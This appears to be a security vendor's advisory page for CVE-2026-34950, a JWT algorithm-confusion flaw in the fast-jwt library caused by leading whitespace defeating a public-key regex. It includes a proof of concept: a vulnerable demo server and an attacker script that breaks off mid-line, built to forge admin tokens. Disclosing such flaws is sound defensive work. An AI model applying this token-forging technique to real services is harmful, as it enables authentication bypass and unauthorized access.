Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-34950 — fast-jwt

🔴 CVSS 9.5 — Critical ⚠️ Exploit Public CWE-20 OSV
9.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

fast-jwt: Incomplete fix for CVE-2023-48223: JWT Algorithm Confusion via Whitespace-Prefixed RSA Public Key

Summary

The fix for GHSA-c2ff-88x2-x9pg (CVE-2023-48223) is incomplete. The publicKeyPemMatcher regex in fast-jwt/src/crypto.js uses a ^ anchor that is defeated by any leading whitespace in the key string, re-enabling the exact same JWT algorithm confusion attack that the CVE patched.

Details

The fix for CVE-2023-48223 (https://github.com/nearform/fast-jwt/commit/15a6e92, v3.3.2) changed the public key matcher from a

plain string used with .includes() to a regex used with .match():

```

// Before fix (vulnerable to original CVE)

const publicKeyPemMatcher = '-----BEGIN PUBLIC KEY-----'

// .includes() matched anywhere in the string — not vulnerable to whitespace

// After fix (current code, line 28)

const publicKeyPemMatcher = /^-----BEGIN(?: (RSA))? PUBLIC KEY-----/

// ^ anchor requires match at position 0 — defeated by leading whitespace

In performDetectPublicKeyAlgorithms()

(https://github.com/nearform/fast-jwt/blob/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa/src/crypto.js#L126-L137):

function performDetectPublicKeyAlgorithms(key) {

const publicKeyPemMatch = key.match(publicKeyPemMatcher) // no .trim()!

if (key.match(privateKeyPemMatcher)) {

throw ...

} else if (publicKeyPemMatch && publicKeyPemMatch[1] === 'RSA') {

return rsaAlgorithms // ← correct path: restricts to RS/PS algorithms

} else if (!publicKeyPemMatch && !key.includes(publicKeyX509CertMatcher)) {

return hsAlgorithms // ← VULNERABLE: RSA key falls through here

}

```

When the key string has any leading whitespace (space, tab, \n, \r\n), the ^ anchor fails, publicKeyPemMatch is null, and the RSA

public key is classified as an HMAC secret (hsAlgorithms). The attacker can then sign an HS256 token using the public key as the

HMAC secret — the exact same attack as CVE-2023-48223.

Notably, the private key detection function does call .trim() before matching

https://github.com/nearform/fast-jwt/blob/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa/src/crypto.js#L79:

const pemData = key.trim().match(privateKeyPemMatcher) // trims — not vulnerable

The public key path does not. This inconsistency is the root cause.

Leading whitespace in PEM key strings is common in real-world deployments:

  • PostgreSQL/MySQL text columns often return strings with leading newlines
  • YAML multiline strings (|, >) can introduce leading whitespace
  • Environment variables with embedded newlines
  • Copy-paste into configuration files

PoC

Victim server (server.js):

```

const http = require('node:http');

const { generateKeyPairSync } = require('node:crypto');

const fs = require('node:fs');

const path = require('node:path');

const { createSigner, createVerifier } = require('fast-jwt');

const port = 3000;

// Generate RSA key pair

const { publicKey, privateKey } = generateKeyPairSync('rsa', { modulusLength: 2048 });

const publicKeyPem = publicKey.export({ type: 'pkcs1', format: 'pem' });

const privateKeyPem = privateKey.export({ type: 'pkcs8', format: 'pem' });

// Simulate real-world scenario: key retrieved from database with leading newline

const publicKeyFromDB = '\n' + publicKeyPem;

// Write public key to disk so attacker can recover it

fs.writeFileSync(path.join(__dirname, 'public_key.pem'), publicKeyFromDB);

const server = http.createServer((req, res) => {

const url = new URL(req.url, http://localhost:${port});

// Endpoint to generate a JWT token with admin: false

if (url.pathname === '/generateToken') {

const payload = { admin: false, name: url.searchParams.get('name') || 'anonymous' };

const signSync = createSigner({ algorithm: 'RS256', key: privateKeyPem });

const token = signSync(payload);

res.writeHead(200, { 'Content-Type': 'application/json' });

res.end(JSON.stringify({ token }));

return;

}

// Endpoint to check if you are the admin or not

if (url.pathname === '/checkAdmin') {

const token = url.searchParams.get('token');

try {

const verifySync = createVerifier({ key: publicKeyFromDB });

const payload = verifySync(token);

res.writeHead(200, { 'Content-Type': 'application/json' });

res.end(JSON.stringify(payload));

} catch (err) {

res.writeHead(401, { 'Content-Type': 'application/json' });

res.end(JSON.stringify({ error: err.message }));

}

return;

}

res.writeHead(404);

res.end('Not found');

});

server.listen(port, () => console.log(Server running on http://localhost:${port}));

```

Attacker script (attacker.js):

```

const { createHmac } = require('node:crypto');

const fs = require('node:fs');

const path = require('node:path');

const serverUrl = 'http://localhost:3000';

async function main() {

// Step 1: Get a legitimate token

const res = await fet

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: None.

Weakness class

CVE-2026-34950 is classified as CWE-20: Improper Input Validation. The application accepts input without checking that it has the expected form, so malformed values reach code that assumes they are well formed.

Affected software

CVE-2026-34950 is recorded against 1 package.

  • fast-jwt

Timeline and source

Published on 2 April 2026 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from OSV.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Advisory)
github.com (Package)

Other advisories for this package

fast-jwt has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-20: Improper Input Validation) in other software:

Details

Severity CRITICAL
CVSS Score 9.5
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CWE CWE-20
Public Exploit ⚠️ Yes
Source OSV
Published 2026-04-02
Updated 2026-08-20
Modified 2026-06-17
Fix URL N/A

Affected Packages

Software From version Fixed in
fast-jwt

Similar Threats

Exploit Protection

Are you running fast-jwt?

CVE-2026-34950 carries CVSS 9.5 Critical rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-34950 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026